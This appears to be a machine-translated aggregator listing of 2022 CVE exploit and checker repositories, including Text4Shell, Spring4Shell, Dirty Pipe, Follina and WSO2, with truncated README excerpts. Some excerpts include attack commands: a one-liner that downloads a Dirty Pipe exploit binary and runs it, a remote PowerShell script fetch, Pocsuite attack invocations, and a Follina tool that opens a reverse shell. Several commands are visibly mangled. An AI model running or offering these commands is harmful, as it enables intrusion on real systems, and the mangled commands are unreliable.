CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇. 세부 사항📃 CVE-2022-42889는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다. 이 취약점은 관련 객체를 사용하는 다양한 소프트웨어 애플리케이션에 광범위한 영향을 미칠 가능성이 있는 오픈 소스 라이브러리 수준의 취약점이라는 점에서 Log4Shell과 비교되었습니다. 그러...

spring-shell-vuln

spring-shell-vuln Spring4Shell: Spring core RCE 脆弱性 Spring は Spring Framework における RCE を確認しました。チームはちょうどこの問題に関する声明と緩和ガイドを公開しました。この脆弱性は CVE-2022-22965 として追跡できます。 Spring4Shell の脆弱性に関するいくつかの情報と、その詳細は「Spring4Shell: Details and Exploit」の投稿で共有されています。さらに、Praetorian のセキュリティチームは、CVE-2010-1622...

frameworks_base_AOSP10_r33_CVE-2022-20005

このリポジトリには README がありません。...

CVE-2022-29464

CVE-2022-29464 エクスプロイト このリポジトリには、脆弱なサーバーへのファイルアップロードを可能にする CVE-2022-29464 の脆弱性を悪用するためのスクリプトが含まれています。許可された環境および教育目的でのみ使用してください。 要件 Python 3.8 以降 インストール ステップ 1: リポジトリをクローンする root@kitploit: Clona el repositorio desde GitHub git clone https://github.com/c1ph3rbyt3/CVE-2022-29464.git cd CVE-2022-29464...

Invoke-CVE-2022-22965-SafeCheck

Invoke-CVE-2022-22965-SafeCheck colincowie氏のオリジナルPython版CVE-2022-22965のPowerShell移植版です。 インストール: root@kitploit: iexiwr https://raw.githubusercontent.com/daniel0x00/Invoke-CVE-2022-22965-SafeCheck/main/Invoke-CVE202222965-SafeCheck.ps1 -UseBasicParsing.content 使用方法: root@kitploit: Injects file...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 면책 조항 이 도구는 학습, 연구 및 자가 점검 용도로만 사용됩니다. 불법적인 목적으로 사용해서는 안 됩니다. 이 도구 사용으로 인해 발생하는 모든 위험은 저와 관련이 없습니다! Disclaimer This tool is for study, research, and...

cve-2022-1388-1veresk

CVE-2022-1388 1vere$k 제작 CVE-2022-1388 개념 증명PoC. 두 가지 작업 모드: 단일 대상 URL, 포트가 명시되지 않으면 기본값 80 설정; 대상 목록이 포함된 파일 : \n\r; 사용법 root@kitploit: echo "+-------------------For-The-Help-------------------------------------+"; echo "Example1: ./cve-2022-1388.sh -h ------------------------------------+"; ech...

cve-2022-26134

CVE-2022-26134 CVE-2022-26134 구현 이 저장소에는 CVE-2022-26134에 대한 익스플로잇 구현이 포함되어 있습니다. 여기 구현된 버전은 7.18.0과 같은 버전의 isSafeExpression 검사를 우회합니다. 익스플로잇은 두 가지 모드로 실행할 수 있습니다: 첫 번째 모드는 한 번에 하나의 명령을 실행할 수 있게 합니다: root@kitploit: python3 cve-2022-26134.py 명령이 성공하면 출력을 반환하고, 그렇지 않으면 빈 줄을 표시합니다. 두 번째 모드는 대화형 모드로 이...

CVE-2022-42889-Text4Shell-Docker

CVE-2022-42889-Text4Shell-Docker CVE-2022-42889 Text4Shell에 대한 Docker 기반 PoC...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker CVE-2022-0847 "Dirty Pipe"를 확인하는 Bash 스크립트 https://dirtypipe.cm4all.com/ 사용법 현재 커널 버전 확인 root@kitploit: ./dpipe.sh 특정 커널 버전 확인 root@kitploit: ./dpipe.sh 5.10.11...

CVE-2022-22965

Spring Framework 원격 코드 실행 취약점 CVE-2022-22965 분석 코드 분석은 BiliBili:https://www.bilibili.com/video/BV1jY4y1H7EC...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 Shodan dork root@kitploit: https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 Curl PoC root@kitploit: curl -v...

CVE-2022-1388

CVE-2022-1388...

Follina_Exploiter_CLI

Follina Exploiter CLIツール MSDT脆弱性 CVE-2022-30190 MSDT（Microsoftサポート診断ツール）におけるゼロデイ脆弱性、別名「Follina」（CVE-2022-30190）を悪用するためのコマンドラインベースのPythonツールです。 情報 : PowerShellを実行する攻撃で使用される新しいMicrosoft Officeゼロデイ Python3.10.4で作成 機能 1. 被害者デバイスで悪意のあるコマンドを実行します。 2. リバースシェルを取得します NetCat。 3. .rtfファイル用のZero Click...

CVE-2022-26318

이 저장소에는 README가 없습니다...

openssl-1.1.1g_CVE-2022-0778

OpenSSL 1.1.1g 2020년 4월 21일 Copyright c 1998-2020 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 설명 OpenSSL 프로젝트는 Transport Layer SecurityTLS 프로토콜SSLv3 포함을 구현하는 강력하고 상용 수준이며 완전한 기능을 갖춘 오픈 소스 툴킷 및 완전한 강도의 범용 암호화 라이브러리를 개발하기 위한 협력적인 노력입니다. OpenSSL은 Eric ...

CVE-2022-22965_PoC

Este repositorio no tiene un README...

Dirty-Pipe

원라인 익스플로잇 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Follina POC 로컬호스트 80번 포트에서 exploit.html을 호스팅합니다. docx 파일을 열면 calc가 실행됩니다. 문서가 가리키는 원격 주소를 변경하려면 7Z로 열고 word\rels\document.xml.rels를 편집하여 새 위치를 지정하십시오. 반드시 느낌표를 유지해야 합니다. URL 끝에서 생략하면 말 그대로 실행되지 않습니다. 익스플로잇은 window.location.href 앞에 최소 3541자 이상의 문자를 포함해야 하며, 이 문자들은...

WSOB

😭 WSOB CVE-2022-29464 😭 WSOB は、WSO2 に存在する CVE-2022-29464 として割り当てられた新しい脆弱性を悪用するために作成された Python ツールです。 CVE-2022-29464 の詳細: 特定の WSO2 製品では、無制限のファイルアップロードが許可されており、その結果としてリモートコード実行が可能になります。攻撃者は、../../../../repository/deployment/server/webapps ディレクトリなど、Web ルート配下のディレクトリに到達するために、Content-Disposition...